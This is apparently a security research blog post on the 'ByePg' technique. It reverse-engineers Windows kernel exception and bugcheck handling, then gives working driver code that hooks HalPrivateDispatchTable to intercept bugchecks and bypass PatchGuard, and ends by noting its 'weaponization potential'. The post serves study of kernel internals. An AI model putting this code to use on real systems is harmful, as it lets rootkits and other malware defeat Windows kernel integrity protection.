ByePg: Defeating Patchguard using Exception-hooking
Now I know what you are thinking, exception hooks? …in kernel-mode? Yes, it is certainly is not as easy as a mere call to kernel32!AddVectoredExceptionHandler, but with some thinking out of the box we actually can implement a system-wide exception handler. As much as Microsoft wants you to forget, filling WDK with abstractions over abstractions, frightening you with their fearsome guard dog PatchGuard barking at anything and everything, your driver is executing in kernel-mode. That is as high as the privileges get without a hypervisor.
The trick is to remember that exception handlers, system call routines, thread scheduling, anything you can imagine is implemented by an image called ntoskrnl.exe, executed and mapped at the same level as your code.
0x0: Birth of an exception
Each hardware exception has an interrupt dispatch table index associated with it. Entry handling page faults is at index 0xE, breakpoints at 0x3 and so on. When the processor encounters an exception during the execution, it disables interrupts, sets the code segment according to the entry, if the interrupted routine was running in user-mode fetches the kernel stack pointer from TSS.RSP0, otherwise either 16-byte aligns the current RSP or fetches it from interrupt stack table as requested by the entry. After this is done it pushes the previous SS:RSP, EFLAGS, CS:RIP and optionally an error code to the new stack and jumpts to the interrupt service routine.
The processor’s work is pretty much done at this point and control is handed to ntoskrnl which allocates a KTRAP_FRAME in the stack, handles the mode switch if relevant and saves certain registers and processor-states such as MxCsr. The handling after this stage is exception-dependent but mostly ends up either at KiExceptionDispatch or KiBugCheckDispatch. KiDebugTrapOrFault and KiDoubleFaultAbort would be good examples respectively.
Now let’s move on to analysing both control flows in terms of how they handle an exception, specifically a kernel-mode one as we are mainly concerned about catching kernel-mode exceptions. I’ll be using a relatively old ntoskrnl.exe sample from Windows 8 as it contains less mitigation-related boilerplate.
0x1.1: KiExceptionDispatch a.k.a. 🤔
Like most interrupt handling related functions in ntoskrnl, KiExceptionDispatch takes an implicit argument Rbp pointing at KTRAP_FRAME + FrameSize (128 bytes), an exception code in Ecx, number of parameters in Edx, and exception address in R8.
It starts by allocating and (partially) filling a KEXCEPTION_FRAME structure; essentially saving the non-volatile registers as seen below:
1.text:000000014006EA80 KiExceptionDispatch proc near ; CODE XREF: KiDivideErrorFault+EF
2.text:000000014006EA80 ; KiDebugTrapOrFault+19D ...
3.text:000000014006EA80
4.text:000000014006EA80 sub rsp, 1D8h
5.text:000000014006EA87 lea rax, [rsp+1D8h+var_D8]
6.text:000000014006EA8F movaps [rsp+1D8h+var_1A8], xmm6
7.text:000000014006EA94 movaps [rsp+1D8h+var_198], xmm7
8.text:000000014006EA99 movaps [rsp+1D8h+var_188], xmm8
9.text:000000014006EA9F movaps [rsp+1D8h+var_178], xmm9
10.text:000000014006EAA5 movaps [rsp+1D8h+var_168], xmm10
11.text:000000014006EAAB movaps xmmword ptr [rax-80h], xmm11
12.text:000000014006EAB0 movaps xmmword ptr [rax-70h], xmm12
13.text:000000014006EAB5 movaps xmmword ptr [rax-60h], xmm13
14.text:000000014006EABA movaps xmmword ptr [rax-50h], xmm14
15.text:000000014006EABF movaps xmmword ptr [rax-40h], xmm15
16.text:000000014006EAC4 mov [rax], rbx
17.text:000000014006EAC7 mov [rax+8], rdi
18.text:000000014006EACB mov [rax+10h], rsi
19.text:000000014006EACF mov [rax+18h], r12
20.text:000000014006EAD3 mov [rax+20h], r13
21.text:000000014006EAD7 mov [rax+28h], r14
22.text:000000014006EADB mov [rax+30h], r15
23.text:000000014006EADF mov rax, gs:188h
24.text:000000014006EAE8 bt dword ptr [rax+4Ch], 0Bh
25.text:000000014006EAED jnb short SkipUms
26.text:000000014006EAEF test byte ptr [rbp+0F0h], 1
27.text:000000014006EAF6 jz short SkipUms
28.text:000000014006EAF8 call KiUmsExceptionEntry
29.text:000000014006EAFD SkipUms:Afterwards it creates an EXCEPTION_RECORD associated with the current exception and passes all of this data to KiDispatchException, it also continues execution if KiDispatchException returns but I omitted that part as it is not relevant to us.
1.text:000000014006EAFD lea rax, [rsp+1D8h+Src]
2.text:000000014006EB05 mov [rax], ecx
3.text:000000014006EB07 xor ecx, ecx
4.text:000000014006EB09 mov [rax+4], ecx
5.text:000000014006EB0C mov [rax+8], rcx
6.text:000000014006EB10 mov [rax+10h], r8
7.text:000000014006EB14 mov [rax+18h], edx
8.text:000000014006EB17 mov [rax+20h], r9
9.text:000000014006EB1B mov [rax+28h], r10
10.text:000000014006EB1F mov [rax+30h], r11
11.text:000000014006EB23 mov r9b, [rbp+0F0h]
12.text:000000014006EB2A and r9b, 1
13.text:000000014006EB2E mov [rsp+1D8h+var_1B8], 1 ; char
14.text:000000014006EB33 lea r8, [rbp-80h]
15.text:000000014006EB37 mov rdx, rsp
16.text:000000014006EB3A mov rcx, rax ; Src
17.text:000000014006EB3D call KiDispatchExceptionKiDispatchException is a little long to analyze instruction by instruction but to simply put it preprocesses the exception by invoking KiPreprocessFault, combines the information from KTRAP_FRAME and KEXCEPTION_FRAME into a single CONTEXT structure, checks for any SEH handlers using RtlDispatchException and jumps to KeBugCheckEx on failure.
0x1.2: KiBugCheckDispatch, a.k.a. Nope 👋
Similar to KiExceptionDispatch, this routine also partially fills a KEXCEPTION_FRAME on stack but instead afterwards directly jumps to KeBugCheckEx.
1.text:000000014006EA00 KiBugCheckDispatch proc near ; CODE XREF: KiInterruptHandler:loc_14006ADC4
2.text:000000014006EA00 ; KiNmiInterruptStart+24A
3.text:000000014006EA00
4.text:000000014006EA00 sub rsp, 138h
5.text:000000014006EA07 lea rax, [rsp+100h]
6.text:000000014006EA0F movaps xmmword ptr [rsp+30h], xmm6
7.text:000000014006EA14 movaps xmmword ptr [rsp+40h], xmm7
8.text:000000014006EA19 movaps xmmword ptr [rsp+50h], xmm8
9.text:000000014006EA1F movaps xmmword ptr [rsp+60h], xmm9
10.text:000000014006EA25 movaps xmmword ptr [rsp+70h], xmm10
11.text:000000014006EA2B movaps xmmword ptr [rax-80h], xmm11
12.text:000000014006EA30 movaps xmmword ptr [rax-70h], xmm12
13.text:000000014006EA35 movaps xmmword ptr [rax-60h], xmm13
14.text:000000014006EA3A movaps xmmword ptr [rax-50h], xmm14
15.text:000000014006EA3F movaps xmmword ptr [rax-40h], xmm15
16.text:000000014006EA44 mov [rax], rbx
17.text:000000014006EA47 mov [rax+8], rdi
18.text:000000014006EA4B mov [rax+10h], rsi
19.text:000000014006EA4F mov [rax+18h], r12
20.text:000000014006EA53 mov [rax+20h], r13
21.text:000000014006EA57 mov [rax+28h], r14
22.text:000000014006EA5B mov [rax+30h], r15
23.text:000000014006EA5F mov [rsp+20h], r10
24.text:000000014006EA64 call KeBugCheckEx0x2: KeBugCheckEx
This routine is about a little guy that lives in a blue world, and all day and all night and everything he sees is just blue. It paints the screen blue and reboots.
Jokes aside, although this routine may be mainly responsible for displaying a bluescreen to the user and rebooting, it does a lot of processing before that, so no, not that simple. This is where the magic of our little exploit lives so let’s analyse the routine and every little detail associated with it.
It starts with disabling interrupts and saving caller context together with processor state to the processor control block, the seemingly “weird” modifications on the context following the calls is to make sure the saved Rcx, Rsp, Rip, EFlags reflects the caller state and not the bug-check routine itself.
1.text:00000001401C10A0 KeBugCheckEx proc near: ; CODE XREF: CcGetDirtyPagesHelper+45F
2.text:00000001401C10A0 ; CcUnpinFileDataEx+3CE
3.text:00000001401C10A0 mov [rsp+8], rcx
4.text:00000001401C10A5 mov [rsp+10h], rdx
5.text:00000001401C10AA mov [rsp+18h], r8
6.text:00000001401C10AF mov [rsp+20h], r9
7.text:00000001401C10B4 pushfq
8.text:00000001401C10B5 sub rsp, 30h
9.text:00000001401C10B9 cli
10.text:00000001401C10BA mov rcx, gs:20h
11.text:00000001401C10C3 mov rcx, [rcx+62C0h]
12.text:00000001401C10CA call RtlCaptureContext
13.text:00000001401C10CF mov rcx, gs:20h
14.text:00000001401C10D8 add rcx, 100h
15.text:00000001401C10DF call KiSaveProcessorControlState
16.text:00000001401C10E4 mov r10, gs:20h
17.text:00000001401C10ED mov r10, [r10+62C0h]
18.text:00000001401C10F4 mov rax, [rsp+40h]
19.text:00000001401C10F9 mov [r10+80h], rax
20.text:00000001401C1100 mov rax, [rsp+30h]
21.text:00000001401C1105 mov [r10+44h], rax
22.text:00000001401C1109 lea rax, KeBugCheckRetPtr
23.text:00000001401C1110 cmp rax, [rsp+38h]
24.text:00000001401C1115 jnz short KeBugCheckEx_Call
25.text:00000001401C1117 lea r8, [rsp+68h]
26.text:00000001401C111C lea r9, KeBugCheck
27.text:00000001401C1123 jmp short KeBugCheck_Call_0
28.text:00000001401C1125 KeBugCheckEx_Call: ; CODE XREF: .text:00000001401C1115↑j
29.text:00000001401C1125 lea r8, [rsp+38h]
30.text:00000001401C112A lea r9, KeBugCheckEx
31.text:00000001401C1131
32.text:00000001401C1131 KeBugCheck_Call_0: ; CODE XREF: .text:00000001401C1123↑j
33.text:00000001401C1131 mov [r10+98h], r8
34.text:00000001401C1138 mov [r10+0F8h], r9Then it saves the IRQL of the caller into KPRCB.DebuggerSavedIRQL, raises the IRQL to DISPATCH_LEVEL to make sure execution does not switch between processors and enables interrupts if caller had them enabled.
1.text:00000001401C113F mov rax, cr8
2.text:00000001401C1143 mov gs:5D18h, al
3.text:00000001401C114B cmp al, 2
4.text:00000001401C114D jge short IrqlAlreadyAboveDispatchLevel
5.text:00000001401C114F mov ecx, 2
6.text:00000001401C1154 mov cr8, rcx
7.text:00000001401C1158
8.text:00000001401C1158 IrqlAlreadyAboveDispatchLevel: ; CODE XREF: .text:00000001401C114D↑j
9.text:00000001401C1158 mov rax, [rsp+30h]
10.text:00000001401C115D and rax, 200h
11.text:00000001401C1163 jz short CallerInterruptsDisabled
12.text:00000001401C1165 sti
13.text:00000001401C1166
14.text:00000001401C1166 CallerInterruptsDisabled: ; CODE XREF: .text:00000001401C1163↑jAfterwards it increments the volatile integer KiHardwareTrigger and simply redirects to KeBugCheck2.
1.text:00000001401C1166 lock inc cs:KiHardwareTrigger
2.text:00000001401C116D mov rcx, [rsp+40h]
3.text:00000001401C1172 mov qword ptr [rsp+28h], 0
4.text:00000001401C117B lea rax, KeBugCheckRetPtr
5.text:00000001401C1182 cmp rax, [rsp+38h]
6.text:00000001401C1187 jz short KeBugCheck_Call
7.text:00000001401C1189 mov rax, [rsp+60h]
8.text:00000001401C118E mov [rsp+20h], rax
9.text:00000001401C1193 mov r9, [rsp+58h]
10.text:00000001401C1198 mov r8, [rsp+50h]
11.text:00000001401C119D mov rdx, [rsp+48h]
12.text:00000001401C11A2 call KeBugCheck2
13.text:00000001401C11A2 ; ---------------------------------------------------------------------------
14.text:00000001401C11A7 align 8
15.text:00000001401C11A8
16.text:00000001401C11A8 KeBugCheck_Call: ; CODE XREF: .text:00000001401C1187↑j
17.text:00000001401C11A8 mov qword ptr [rsp+20h], 0
18.text:00000001401C11B1 xor r9d, r9d
19.text:00000001401C11B4 xor r8d, r8d
20.text:00000001401C11B7 xor edx, edx
21.text:00000001401C11B9 call KeBugCheck2KeBugCheck2 implementation varies a lot depending on the Windows version but we mostly care about the shared logic. All implementations start with trying to acquire the KiBugCheckActive lock as described here:
1union BUGCHECK_STATE
2{
3 volatile LONG Value;
4 struct
5 {
6 volatile LONG Active : 3; // If active set to 0b111, otherwise 0b000. Not sure about what each flag means.
7 volatile LONG Unknown : 1; // = (UninitializedDwordOnStack & 0x1E) & 1, what ???
8 volatile LONG OwnerProcessorIndex : 28; // Processor index of the processor that initiated BugCheck state
9 };
10};A flag is set to indicate whether the current processor is the master processor or slave depending on whether it acquired the lock succesfully and things start to get interesting afterwards.
Windows 8 and 8.1: (8 just doesn’t have the HalTimerWatchdogStop call)
1// We will come back to this later...
2if ( !IsMaster )
3 goto HowAmISupposedToQuitFromThisSpinlockLol;
4
5// Call HalTimerWatchdogStop from HalPrivateDispatchTable
6HalPrivateDispatchTable.HalTimerWatchdogStop();
7
8// Mask 0x4000 off HV enlightenments
9HvlEnlightenments &= ~0x4000;
10
11// KiNmiInProgress checks
12bool NmiFlag = false;
13int NmiIdx = 0;
14if ( KiNmiInProgress )
15{
16 while ( !NmiData[NmiIdx] )
17 {
18 if ( ++NmiIdx >= (unsigned __int16)KiNmiInProgress )
19 goto NoNmi;
20 }
21 NmiFlag = true;
22}
23NoNmi:
24
25// Call HalPrepareForBugcheck from HalPrivateDispatchTable
26HalPrivateDispatchTable.HalPrepareForBugcheck(NmiFlag);Windows 10:
1// We will come back to this later...
2if ( !IsMaster )
3 goto HowAmISupposedToQuitFromThisSpinlockLol;
4
5// Call HalTimerWatchdogStop from HalPrivateDispatchTable
6HalPrivateDispatchTable.HalTimerWatchdogStop();
7
8// Mask 0x2000 off HV enlightenments
9HvlEnlightenments &= ~0x4000;
10
11// Save BugCheck progress, what ???
12IoSaveBugCheckProgress(0x60);
13
14// KiNmiInProgress checks
15bool NmiFlag = KeIsEmptyAffinityEx(&KiNmiInProgress);
16
17// Call HalPrepareForBugcheck from HalPrivateDispatchTable
18HalPrivateDispatchTable.HalPrepareForBugcheck(NmiFlag);We finally find what we wanted. Now given that I didn’t reverse the bugcheck routines because I was deeply interested in how Windows managed to draw a sad face, this means we can exploit something here. Take a guess, hint: HalPrivateDispatchTable. Where does HalPrivateDispatchTable reside? .data. Is it protected by PatchDoggo? Nope.
0x3: ByeBlue
We want to hook as early as possible within this routine, so we’ll go for HalTimerWatchdogStop where possible (dispatch table version version >= 23) and HalPrepareForBugcheck otherwise. First, let’s declare the table definition:
1// Define HAL_PRIVATE_DISPATCH_TABLE
2//
3#define HAL_PDT_PREPARE_FOR_BUGCHECK_OFFSET 0x108
4#define HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION 6
5using FnHalPrepareForBugcheck = void( __stdcall )( BOOLEAN NmiFlag );
6
7#define HAL_PDT_TIMER_WATCHDOG_STOP_OFFSET 0x338
8#define HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION 23
9using FnHalTimerWatchdogStop = NTSTATUS( __stdcall )();
10
11#pragma pack(push, 1)
12typedef struct _HAL_PRIVATE_DISPATCH_TABLE
13{
14 union
15 {
16 ULONG Version;
17 struct
18 {
19 char Pad0[ HAL_PDT_PREPARE_FOR_BUGCHECK_OFFSET ];
20 FnHalPrepareForBugcheck* HalPrepareForBugcheck;
21 };
22 struct
23 {
24 char Pad1[ HAL_PDT_TIMER_WATCHDOG_STOP_OFFSET ];
25 FnHalTimerWatchdogStop* HalTimerWatchdogStop;
26 };
27 };
28} HAL_PRIVATE_DISPATCH_TABLE;
29#pragma pack(pop)
30
31// Import HalPrivateDispatchTable
32//
33extern "C" __declspec( dllimport ) HAL_PRIVATE_DISPATCH_TABLE HalPrivateDispatchTable;Hooking the table is very simple:
1if ( HalPrivateDispatchTable.Version > HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION )
2{
3 // Hook HalTimerWatchdogStop
4 HalTimerWatchdogStopOrig = HalPrivateDispatchTable.HalTimerWatchdogStop;
5 HalPrivateDispatchTable.HalTimerWatchdogStop = &HkHalTimerWatchdogStop;
6}
7else if ( HalPrivateDispatchTable.Version > HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION )
8{
9 // Hook HalPrepareForBugcheck
10 HalPrepareForBugcheckOrig = HalPrivateDispatchTable.HalPrepareForBugcheck;
11 HalPrivateDispatchTable.HalPrepareForBugcheck = &HkHalPrepareForBugcheck;
12}Small note, within HkHalTimerWatchdogStop we need to check whether the return address is within KeBugCheck2 or not just incase it is called from somewhere else.
Now we need to extract the CONTEXT of the interrupted routine from KeBugCheck2 in order to be able to continue execution. We can simply parse the arguments like so:
1ULONG BugCheckCode = PrcbContext->Rcx;
2ULONG64 BugCheckArgs[] =
3{
4 PrcbContext->Rdx,
5 PrcbContext->R8,
6 PrcbContext->R9,
7 *( ULONG64* ) ( PrcbContext->Rsp + 0x28 )
8};
9
10// Collect information about the exception based on bugcheck code
11switch ( BugCheckCode )
12{
13 case UNEXPECTED_KERNEL_MODE_TRAP:
14 // No context formed, read from trap frame, can ignore exception frame
15 // as it should be the same as KeBugCheckEx caller context
16 //
17 Tf = ( KTRAP_FRAME* ) ( PrcbContext->Rbp - 0x80 );
18 PrcbContext->Rax = Tf->Rax;
19 PrcbContext->Rcx = Tf->Rcx;
20 PrcbContext->Rdx = Tf->Rdx;
21 PrcbContext->R8 = Tf->R8;
22 PrcbContext->R9 = Tf->R9;
23 PrcbContext->R10 = Tf->R10;
24 PrcbContext->R11 = Tf->R11;
25 PrcbContext->Rbp = Tf->Rbp;
26 PrcbContext->Xmm0 = Tf->Xmm0;
27 PrcbContext->Xmm1 = Tf->Xmm1;
28 PrcbContext->Xmm2 = Tf->Xmm2;
29 PrcbContext->Xmm3 = Tf->Xmm3;
30 PrcbContext->Xmm4 = Tf->Xmm4;
31 PrcbContext->Xmm5 = Tf->Xmm5;
32 PrcbContext->Rip = Tf->Rip;
33 PrcbContext->Rsp = Tf->Rsp;
34 PrcbContext->SegCs = Tf->SegCs;
35 PrcbContext->SegSs = Tf->SegSs;
36 PrcbContext->EFlags = Tf->EFlags;
37 ContextRecord = PrcbContext;
38 ExceptionCode = BugCheckArgs[ 0 ];
39 break;
40 case SYSTEM_THREAD_EXCEPTION_NOT_HANDLED:
41 ExceptionCode = BugCheckArgs[ 0 ];
42 ExceptionAddress = BugCheckArgs[ 1 ];
43 ExceptionRecord = ( EXCEPTION_RECORD* ) BugCheckArgs[ 2 ];
44 ContextRecord = ( CONTEXT* ) BugCheckArgs[ 3 ];
45 break;
46 case SYSTEM_SERVICE_EXCEPTION:
47 ExceptionCode = BugCheckArgs[ 0 ];
48 ExceptionAddress = BugCheckArgs[ 1 ];
49 ContextRecord = ( CONTEXT* ) BugCheckArgs[ 2 ];
50 break;
51 case KMODE_EXCEPTION_NOT_HANDLED:
52 case KERNEL_MODE_EXCEPTION_NOT_HANDLED:
53 ExceptionCode = BugCheckArgs[ 0 ];
54 ExceptionAddress = BugCheckArgs[ 1 ];
55 break;
56 default:
57 return false;
58}
59
60// Scan for context if no context pointer could be extracted
61if ( !ContextRecord )
62{
63 constexpr LONG ContextAlignment = __alignof( CONTEXT );
64 ULONG64 StackIt = BugCheckCtx->Rsp & ~( ContextAlignment - 1 );
65
66 while ( ContextRecord = ( CONTEXT* ) StackIt )
67 {
68 if ( ( ContextRecord->ContextFlags == 0x10005F || ContextRecord->ContextFlags == 0x10001F ) &&
69 ContextRecord->SegCs == 0x0010 &&
70 ContextRecord->SegDs == 0x002B &&
71 ContextRecord->SegEs == 0x002B &&
72 ContextRecord->SegFs == 0x0053 &&
73 ContextRecord->SegGs == 0x002B &&
74 ( ContextRecord->Rip == ExceptionAddress || ContextRecord->Rip == ( ExceptionAddress - 1 ) ) &&
75 ContextRecord->Rsp > 0xFFFF080000000000 )
76 {
77 break;
78 }
79 StackIt += ContextAlignment;
80 }
81}Let’s give it a try!
1BugCheckHook::Set( [ ] ()
2{
3 // Try parsing BugCheck parameters
4 CONTEXT* ContextRecord = nullptr;
5 EXCEPTION_RECORD ExceptionRecord;
6 if ( !BugCheck::Parse( &ContextRecord, &ExceptionRecord ) ) return;
7
8 // If it is due to #BP
9 if ( ExceptionRecord.ExceptionCode == STATUS_BREAKPOINT )
10 {
11 // Restore global state changes
12 *KiBugCheckActive = 0;
13 *KiHardwareTrigger = 0;
14
15 // Log
16 Log( "Discarding #BP at RIP = %p!\n", ContextRecord->Rip );
17
18 // Continue execution
19 ContextRecord->Rip++;
20 BugCheck::Continue( ContextRecord );
21 }
22} );
23
24__debugbreak();
Yay, success! Right? No. Try this instead and watch your entire system lock down:
1KeIpiGenericCall( [ ] ( ULONG64 x )
2{
3 __debugbreak();
4 return 0ull;
5}, 0 );
0x4: Concurrency is a thing
This happens because KeBugCheck is not meant to be executed multiple times, in fact it protects itself from this exact state using the KiBugCheckActive spinlock. If two or more processors raise an exception that was not meant to be raised concurrently and end up in KeBugCheck2, one will be taking the slave branch I called HowAmISupposedToQuitFromThisSpinlockLol previously, appropriately.
Providing the pseudocode for this branch should be enough to justify the naming of the branch.
1_disable();
2KeRaiseIrql( HIGH_LEVEL );
3if ( KeGetCurrentProcessorIndex() != ( KiBugCheckActive >> 4 ) )
4{
5 while ( 1 )
6 {
7 if ( KeGetCurrentPrcb()->IpiFrozen == 5 )
8 KiFreezeTargetExecution( nullptr, nullptr );
9 _mm_pause();
10 }
11}Unless we send a NMI manually, only way to escape from this is to somehow take control within KiFreezeTargetExecution. Let’s assume we set IpiFrozen=5 and analyze KiFreezeTargetExecution.
1void KiFreezeTargetExecution(void*, void*)
2{
3 if ( KiFreezeExecutionLock || KiFreezeLockBackup || (KiBugCheckActive & 3) )
4 {
5 if ( ViVerifierEnabled )
6 VfStopBranchTracing();
7 _disable();
8 __writecr8(0xFui64);
9 KiStartDebugAccumulation(KeGetCurrentPrcb());
10 KeGetCurrentPrcb()->IpiFrozen = 2;
11 HalPrivateDispatchTable.HalNotifyProcessorFreeze(TRUE, FALSE);HalPrivateDispatchTable is a gift that never stops giving :)
Freezing a processor only happens during boot, debugger and bug-check related events none of which we care. So the easiest way to get out of this situation is to set KiFreezeExecutionLock to true and IpiFrozen for each KPCRB to 5.
All of our HAL callbacks will clear KiBugCheckActive, decrement KiHardwareTrigger, reset KPCRB->IpiFrozen to 5 if HalNotifyProcessorFreeze and call a generic HandleBugCheck as implemented below:
1// Get state at KeBugCheck(Ex) call
2CONTEXT* BugCheckCtx = GetProcessorContext();
3KSPECIAL_REGISTERS* BugCheckState = GetProcessorState();
4
5// Lower IRQL to DISPATCH_LEVEL where possible
6if ( BugCheckCtx->EFlags & 0x200 )
7{
8 __writecr8( BugCheckState->Cr8 >= DISPATCH_LEVEL ? BugCheckState->Cr8 : DISPATCH_LEVEL );
9 _enable();
10}
11
12// Extract arguments of the original call, BugCheck::Parse may clobber them
13ULONG BugCheckCode = BugCheckCtx->Rcx;
14ULONG64 BugCheckArgs[] =
15{
16 BugCheckCtx->Rdx,
17 BugCheckCtx->R8,
18 BugCheckCtx->R9,
19 *( ULONG64* ) ( BugCheckCtx->Rsp + 0x28 )
20};
21
22// Try parsing parameters
23CONTEXT* ContextRecord = nullptr;
24EXCEPTION_RECORD ExceptionRecord;
25if ( BugCheck::Parse( &ContextRecord, &ExceptionRecord, BugCheckCtx ) )
26{
27 // Try handling exception
28 if ( Cb( ContextRecord, &ExceptionRecord ) == EXCEPTION_CONTINUE_EXECUTION )
29 {
30 // Revert IRQL to match interrupted routine
31 _disable();
32 __writecr8( BugCheckState->Cr8 );
33
34 // Restore context (These flags make the control flow a little simpler :wink:)
35 ContextRecord->ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT;
36 RtlRestoreContext( ContextRecord, nullptr );
37 __fastfail( 0 );
38 }
39}
40
41// Failed to handle, show blue screen
42HlCallback = nullptr;
43ProcessorIpiFrozen() = 0;
44*KiFreezeExecutionLock = false;
45return KeBugCheckEx( BugCheckCode, BugCheckArgs[ 0 ], BugCheckArgs[ 1 ], BugCheckArgs[ 2 ], BugCheckArgs[ 3 ] );Let’s give our previous test another try with:
1ExceptionHandler::Initialize();
2ExceptionHandler::HlCallback = [ ] ( CONTEXT* ContextRecord, EXCEPTION_RECORD* ExceptionRecord ) -> LONG
3{
4 // If it is due to #BP
5 if ( ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT )
6 {
7 Log( "Discarding #BP at RIP = %p, Processor ID: %d, IRQL: %d!\n", ContextRecord->Rip, KeGetCurrentProcessorIndex(), GetProcessorState()->Cr8 );
8
9 // Continue execution
10 ContextRecord->Rip++;
11 return EXCEPTION_CONTINUE_EXECUTION;
12 }
13 return EXCEPTION_EXECUTE_HANDLER;
14};
15
16KeIpiGenericCall( [ ] ( ULONG64 x )
17{
18 for ( int i = 0; i < 4; i++ )
19 __debugbreak();
20 return 0ull;
21}, 0 );
We are now officialy done. Weaponization potential of this is only limited by your creativity :)
All source code along with two examples can be found at: https://github.com/can1357/ByePg.